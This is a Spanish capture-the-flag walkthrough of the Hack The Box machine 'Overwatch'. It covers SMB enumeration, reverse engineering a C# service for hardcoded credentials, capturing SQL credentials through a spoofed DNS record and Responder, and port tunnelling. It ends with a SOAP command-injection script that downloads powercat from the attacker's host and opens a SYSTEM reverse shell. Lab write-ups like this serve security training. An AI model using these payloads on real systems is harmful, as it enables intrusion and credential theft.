Descripción
Overwatch es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:
- Enumeración de SMB permite acceder a una carpeta compartida pública conteniendo una aplicación de escritorio en C#
- Ingeniería inversa de la aplicación C# para encontrar credenciales y un servicio expuesto
- Explotación del servidor SQL vinculado al agregar una entrada DNS apuntando a la máquina del atacante para obtener las credenciales MSSQL mediante la aplicación
responder - Credenciales reutilizadas permiten el acceso a la máquina mediante el protocolo WinRM
- Redirección de puertos del puerto interno expuesto por la aplicación C#
- Escalada de privilegios mediante inyección de comandos a la API SOAP expuesta por la aplicación C#
Reconocimiento
Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina objetivo es 10.129.15.185.
$ ping -c 3 10.129.15.185
PING 10.129.15.185 (10.129.15.185) 56(84) bytes of data.
64 bytes from 10.129.15.185: icmp_seq=1 ttl=127 time=47.8 ms
64 bytes from 10.129.15.185: icmp_seq=2 ttl=127 time=47.5 ms
64 bytes from 10.129.15.185: icmp_seq=3 ttl=127 time=47.7 ms
--- 10.129.15.185 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.498/47.635/47.756/0.105 ms
La máquina está activa y con el TTL que iguala 127 (128 menos 1 salto) podemos asegurar que es una máquina Windows. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para verificar todos los puertos abiertos.
$ sudo nmap 10.129.15.185 -sS -Pn -p- -oN nmap_scan
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.185
Host is up (0.048s latency).
Not shown: 65514 filtered tcp ports (no-response)
PORT STATE SERVICE
53/tcp open domain
88/tcp open kerberos-sec
135/tcp open msrpc
139/tcp open netbios-ssn
389/tcp open ldap
445/tcp open microsoft-ds
464/tcp open kpasswd5
593/tcp open http-rpc-epmap
636/tcp open ldapssl
3268/tcp open globalcatLDAP
3269/tcp open globalcatLDAPssl
3389/tcp open ms-wbt-server
5985/tcp open wsman
6520/tcp open unknown
9389/tcp open adws
49664/tcp open unknown
49667/tcp open unknown
55619/tcp open unknown
55620/tcp open unknown
57713/tcp open unknown
64846/tcp open unknown
Nmap done: 1 IP address (1 host up) scanned in 4.84 seconds
Obtenemos muchos puertos abiertos, quizás relacionados con un entorno Active Directory.
Enumeración
Luego realizamos un escaneo más avanzado, con versiones de servicio y scripts.
$ nmap 10.129.15.185 -sV -sC -p53,88,135,139,389,445,464,593,636,3268,3269,3389,5985,6520 -oN nmap_scan_ports
Starting Nmap 7.98 ( https://nmap.org )
Nmap scan report for 10.129.15.185
Host is up (0.048s latency).
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
88/tcp open kerberos-sec Microsoft Windows Kerberos
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open tcpwrapped
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: overwatch.htb, Site: Default-First-Site-Name)
3269/tcp open tcpwrapped
3389/tcp open ms-wbt-server Microsoft Terminal Services
| ssl-cert: Subject: commonName=S200401.overwatch.htb
| Not valid before: 2025-12-07T15:16:06
|_Not valid after: 2026-06-08T15:16:06
| rdp-ntlm-info:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
|_ Product_Version: 10.0.20348
5985/tcp open http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-server-header: Microsoft-HTTPAPI/2.0
|_http-title: Not Found
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
6520/tcp open ms-sql-s Microsoft SQL Server 2022 16.00.1000.00; RTM
| ssl-cert: Subject: commonName=SSL_Self_Signed_Fallback
| Not valid before: 2026-01-22T14:17:51
|_Not valid after: 2056-01-22T14:17:51
| ms-sql-info:
| 10.129.15.185:6520:
| Version:
| name: Microsoft SQL Server 2022 RTM
| number: 16.00.1000.00
| Product: Microsoft SQL Server 2022
| Service pack level: RTM
| Post-SP patches applied: false
|_ TCP port: 6520
| ms-sql-ntlm-info:
| 10.129.15.185:6520:
| Target_Name: OVERWATCH
| NetBIOS_Domain_Name: OVERWATCH
| NetBIOS_Computer_Name: S200401
| DNS_Domain_Name: overwatch.htb
| DNS_Computer_Name: S200401.overwatch.htb
| DNS_Tree_Name: overwatch.htb
|_ Product_Version: 10.0.20348
Service Info: Host: S200401; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
| smb2-time:
|_ start_date: N/A
| smb2-security-mode:
| 3.1.1:
|_ Message signing enabled and required
|_clock-skew: mean: 1s, deviation: 0s, median: 1s
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 52.03 seconds
Encontramos que esta máquina es el Controlador de Dominio del dominio overwatch.htb con nombre de host S200401. Encontramos un puerto inusual para el servicio SQL Server, 6520. Vamos a agregar el dominio al archivo /etc/hosts.
$ echo "10.129.15.185 overwatch.htb" | sudo tee -a /etc/hosts
$ echo "10.129.15.185 S200401.overwatch.htb" | sudo tee -a /etc/hosts
Enumeramos el servicio SMB para encontrar recursos compartidos disponibles públicamente.
$ netexec smb overwatch.htb -u 'Guest' -p '' --shares
SMB 10.129.15.185 445 S200401 [*] Windows Server 2022 Build 20348 x64 (name:S200401) (domain:overwatch.htb) (signing:True) (SMBv1:False)
SMB 10.129.15.185 445 S200401 [+] overwatch.htb\Guest:
SMB 10.129.15.185 445 S200401 [*] Enumerated shares
SMB 10.129.15.185 445 S200401 Share Permissions Remark
SMB 10.129.15.185 445 S200401 ----- ----------- ------
SMB 10.129.15.185 445 S200401 ADMIN$ Remote Admin
SMB 10.129.15.185 445 S200401 C$ Default share
SMB 10.129.15.185 445 S200401 IPC$ READ Remote IPC
SMB 10.129.15.185 445 S200401 NETLOGON Logon server share
SMB 10.129.15.185 445 S200401 software$ READ
SMB 10.129.15.185 445 S200401 SYSVOL Logon server share
Encontramos un compartido público, software$, tenemos acceso de lectura, por lo tanto accedemos a él y descargamos todos los archivos de forma recursiva.
$ smbclient '//overwatch.htb/software$' -U 'Guest%'
Try "help" to get a list of possible commands.
smb: \> ls
. DH 0 Sat May 17 03:27:07 2025
.. DHS 0 Thu Jan 1 07:46:47 2026
Monitoring DH 0 Sat May 17 03:32:43 2025
7147007 blocks of size 4096. 1782491 blocks available
smb: \> prompt off
smb: \> recurse on
smb: \> mget *
getting file
...
$ ls Monitoring
EntityFramework.dll Microsoft.Management.Infrastructure.dll System.Data.SQLite.dll System.Management.Automation.dll
EntityFramework.SqlServer.dll overwatch.exe System.Data.SQLite.EF6.dll System.Management.Automation.xml
EntityFramework.SqlServer.xml overwatch.exe.config System.Data.SQLite.Linq.dll x64
EntityFramework.xml overwatch.pdb System.Data.SQLite.xml x86
Encontramos que existe una aplicación en C#, vamos a realizar ingeniería inversa del binario overwatch.exe utilizando la aplicación dotPeek. Encontramos dos clases, Program y MonitoringService. El método Main en la clase Program inicia y abre un host de servicio WCF para MonitoringService, haciendo que el servicio esté disponible para los clientes. Luego crea un temporizador que corre cada 30 segundos y activa periódicamente el método CheckEdgeHistory. Finalmente, mantiene en ejecución la aplicación hasta que el usuario presione Enter, después de lo cual cierra correctamente el servicio.
private static void Main(string[] args)
{
ServiceHost serviceHost = new ServiceHost(typeof (MonitoringService), Array.Empty<Uri>());
serviceHost.Open();
Console.WriteLine("Service is running...");
Timer timer = new Timer(30000.0);
timer.Elapsed += new ElapsedEventHandler(Program.CheckEdgeHistory);
timer.Start();
Console.WriteLine("Press Enter to exit...");
Console.ReadLine();
serviceHost.Close();
}
En el archivo overwatch.exe.config encontramos la dirección base para el servicio HTTP, http://overwatch.htb:8000/MonitorService. Como no vemos el puerto 8000 abierto, asumimos que el servicio solo está disponible localmente en la máquina.
...
<services>
<service name="MonitoringService">
<host>
<baseAddresses>
<add baseAddress="http://overwatch.htb:8000/MonitorService" />
</baseAddresses>
</host>
<endpoint address="" binding="basicHttpBinding" contract="IMonitoringService" />
<endpoint address="mex" binding="mexHttpBinding" contract="IMetadataExchange" />
</service>
...
Pasando a la clase MonitoringService encontramos las credenciales de la base de datos SQL Server en una cadena de conexión, con nombre de usuario sqlsvc y contraseña TI0LKcfHzZw1Vv.
...
private readonly string connectionString = "Server=localhost;Database=SecurityLogs;User Id=sqlsvc;Password=TI0LKcfHzZw1Vv;";
...
Encontramos el método disponible KillProcess que recibe un parámetro llamado processName que ejecuta el comando PowerShell Stop-Process para cerrar un programa. Este método es vulnerable a Inyección de Comandos, al pasar por parámetro una cadena de comando y luego comentarla como ; comando-a-ejecutar;#. Tendremos Ejecución Remota de Comandos como el usuario que está ejecutando la aplicación si logramos acceder al servicio, pero no aún.
Explotación
Nos movemos a enumerar el SQL Server disponible en el servicio 6520.
$ impacket-mssqlclient 'sqlsvc:TI0LKcfHzZw1Vv'@overwatch.htb -p 6520 -windows-auth
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[*] Encryption required, switching to TLS
[*] ENVCHANGE(DATABASE): Old Value: master, New Value: master
[*] ENVCHANGE(LANGUAGE): Old Value: , New Value: us_english
[*] ENVCHANGE(PACKETSIZE): Old Value: 4096, New Value: 16192
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed database context to 'master'.
[*] INFO(S200401\SQLEXPRESS): Line 1: Changed language setting to us_english.
[*] ACK: Result: 1 - Microsoft SQL Server 2022 RTM (16.0.1000)
[!] Press help for extra shell commands
SQL (OVERWATCH\sqlsvc guest@master)> enum_links
SRV_NAME SRV_PROVIDERNAME SRV_PRODUCT SRV_DATASOURCE SRV_PROVIDERSTRING SRV_LOCATION SRV_CAT
------------------ ---------------- ----------- ------------------ ------------------ ------------ -------
S200401\SQLEXPRESS SQLNCLI SQL Server S200401\SQLEXPRESS NULL NULL NULL
SQL07 SQLNCLI SQL Server SQL07 NULL NULL NULL
Linked Server Local Login Is Self Mapping Remote Login
------------- ----------- --------------- ------------
SQL (OVERWATCH\sqlsvc guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Login timeout expired".
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "A network-related or instance-specific error has occurred while establishing a connection to SQL Server. Server is not found or not accessible. Check if instance name is correct and if SQL Server is configured to allow remote connections. For more information see SQL Server Books Online.".
ERROR(MSOLEDBSQL): Line 0: Named Pipes Provider: Could not open a connection to SQL Server [64].
Encontramos que existe un servidor SQL vinculado disponible, SQL07, pero si intentamos usarlo recibimos un error que indica que la conexión ha caducado. El servidor puede no conocer dónde encontrar el servidor SQL07 si no tiene su entrada en la base de datos DNS. Por lo tanto, como tenemos un usuario autenticado, podemos intentar agregar una entrada en el servidor DNS del Active Directory para luego iniciar la aplicación responder y desplegar un servidor SQL para capturar las credenciales MSSQL al volver a intentar usar el servidor vinculado. Iniciamos el servicio responder.
$ sudo responder -I tun0
...
[+] Listening for events...
Agregamos la entrada DNS al Controlador de Dominio utilizando la herramienta bloodyAD.
$ bloodyAD -u sqlsvc -p TI0LKcfHzZw1Vv -d overwatch.tb --host overwatch.htb add dnsRecord SQL07 10.10.15.109
[+] SQL07 has been successfully added
Ahora regresamos a la consola de MSSQL, para usar nuevamente el servidor vinculado.
SQL (OVERWATCH\sqlsvc guest@master)> use_link SQL07
INFO(S200401\SQLEXPRESS): Line 1: OLE DB provider "MSOLEDBSQL" for linked server "SQL07" returned message "Communication link failure".
ERROR(MSOLEDBSQL): Line 0: TCP Provider: An existing connection was forcibly closed by the remote host.
Recibimos las credenciales de SQL Server para el usuario sqlmgmt con contraseña bIhBbzMMnB82yx.
[MSSQL] Cleartext Client : 10.129.15.185
[MSSQL] Cleartext Hostname : SQL07 ()
[MSSQL] Cleartext Username : sqlmgmt
[MSSQL] Cleartext Password : bIhBbzMMnB82yx
Podemos iniciar una sesión remota a la máquina utilizando el protocolo WinRM y la aplicación evil-winrm-py.
$ evil-winrm-py -i overwatch.htb -u sqlmgmt -p bIhBbzMMnB82yx
...
evil-winrm-py PS C:\Users\sqlmgmt\Documents> whoami
overwatch\sqlmgmt
Post-Explotación
Empezamos enumerando los puertos TCP abiertos de la red, para comprobar si el anterior en el puerto 8000.
evil-winrm-py PS C:\Users\sqlmgmt\Documents> netstat -an | findstr TCP
TCP 0.0.0.0:88 0.0.0.0:0 LISTENING
TCP 0.0.0.0:135 0.0.0.0:0 LISTENING
TCP 0.0.0.0:389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:445 0.0.0.0:0 LISTENING
TCP 0.0.0.0:464 0.0.0.0:0 LISTENING
TCP 0.0.0.0:593 0.0.0.0:0 LISTENING
TCP 0.0.0.0:636 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3268 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3269 0.0.0.0:0 LISTENING
TCP 0.0.0.0:3389 0.0.0.0:0 LISTENING
TCP 0.0.0.0:5985 0.0.0.0:0 LISTENING
TCP 0.0.0.0:6520 0.0.0.0:0 LISTENING
TCP 0.0.0.0:8000 0.0.0.0:0 LISTENING
TCP 0.0.0.0:9389 0.0.0.0:0 LISTENING
...
Encontramos que el puerto está abierto en la máquina, por lo tanto vamos a redirigir el puerto a nuestra máquina. Vamos a utilizar la herramienta ligolo-ng para mapear los puertos locales del Controlador de Dominio a la dirección IP 240.0.0.1. Comenzamos iniciando el proxy en nuestra máquina, creando una nueva interfaz de red y añadiendo la nueva ruta.
$ sudo ligolo-proxy -selfcert
...
INFO[0001] Listening on 0.0.0.0:11601
ligolo-ng » interface_create
INFO[0006] Generating a random interface name...
INFO[0006] Creating a new pleasantcroissa interface...
INFO[0006] Interface created!
ligolo-ng » route_add --name pleasantcroissa --route 240.0.0.1/32
INFO[0028] Route created.
Luego subimos el binario del agente ligolo-ng a la máquina remota y lo iniciamos.
evil-winrm-py PS C:\Users\sqlmgmt\Documents> upload /usr/share/ligolo-ng-common-binaries/ligolo-ng_agent_0.8.2_windows_amd64.exe .
evil-winrm-py PS C:\Users\sqlmgmt\Documents> .\ligolo-ng_agent_0.8.2_windows_amd64.exe -ignore-cert -connect 10.10.15.109:11601
Entonces en nuestra sesión de proxy iniciamos el túnel a la máquina.
ligolo-ng » session
? Specify a session : 1 - OVERWATCH\sqlmgmt@S200401 - 10.129.15.185:52090 - 005056943649
[Agent : OVERWATCH\sqlmgmt@S200401] » tunnel_start --tun pleasantcroissa
INFO[0152] Starting tunnel to OVERWATCH\sqlmgmt@S200401 (005056943649)
Ahora podemos enumerar el servicio a través del enlace http://240.0.0.1:8000/MonitorService.
Encontramos que la aplicación expone una API SOAP HTTP que tenemos disponible el archivo wsdl, por lo tanto verificamos si el método KillProcess está disponible.
$ curl 'http://240.0.0.1:8000/MonitorService?wsdl'
...
<wsdl:operation name="KillProcess">
<soap:operation soapAction="http://tempuri.org/IMonitoringService/KillProcess" style="document"/>
<wsdl:input>
<soap:body use="literal"/>
</wsdl:input>
<wsdl:output>
<soap:body use="literal"/>
</wsdl:output>
</wsdl:operation>
...
Tenemos la operación disponible, por lo tanto vamos a programar una aplicación en Python para subir y ejecutar el script powercat.ps1 para desplegar una shell inversa. Copiamos el script y luego iniciamos un servidor HTTP.
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ python -m http.server 80
Utilizamos el siguiente script en Python para activar la vulnerabilidad:
import requests
url = "http://240.0.0.1:8000/MonitorService"
headers = {
"Content-Type": "text/xml; charset=utf-8",
"SOAPAction": "http://tempuri.org/IMonitoringService/KillProcess"
}
soap_body = """<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xmlns:xsd="http://www.w3.org/2001/XMLSchema"
xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
<soap:Body>
<KillProcess xmlns="http://tempuri.org/">
<processName>notepad.exe; IEX(New-Object System.Net.Webclient).DownloadString('http://10.10.15.109/powercat.ps1');powercat -c 10.10.15.109 -p 1234 -e powershell;#</processName>
</KillProcess>
</soap:Body>
</soap:Envelope>
"""
response = requests.post(url, data=soap_body, headers=headers)
print("Status:", response.status_code)
print(response.text)
Iniciamos un puerto TCP de escucha en el puerto 1234 y luego ejecutamos el script.
$ nc -nvlp 1234
$ python exploit.py
Recibimos la terminal inversa como el usuario SYSTEM.
$ nc -nvlp 1234
listening on [any] 1234 ...
connect to [10.10.15.109] from (UNKNOWN) [10.129.15.185] 59116
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.
Install the latest PowerShell for new features and improvements! https://aka.ms/PSWindows
PS C:\Software\Monitoring> whoami
whoami
nt authority\system
Flags
En la terminal SYSTEM podemos recuperar las flags user.txt y root.txt.
PS C:\Software\Monitoring> type C:\Users\sqlmgmt\Desktop\user.txt
type C:\Users\sqlmgmt\Desktop\user.txt
<REDACTED>
PS C:\Software\Monitoring> type C:\Users\Administrator\Desktop\root.txt
type C:\Users\Administrator\Desktop\root.txt
<REDACTED>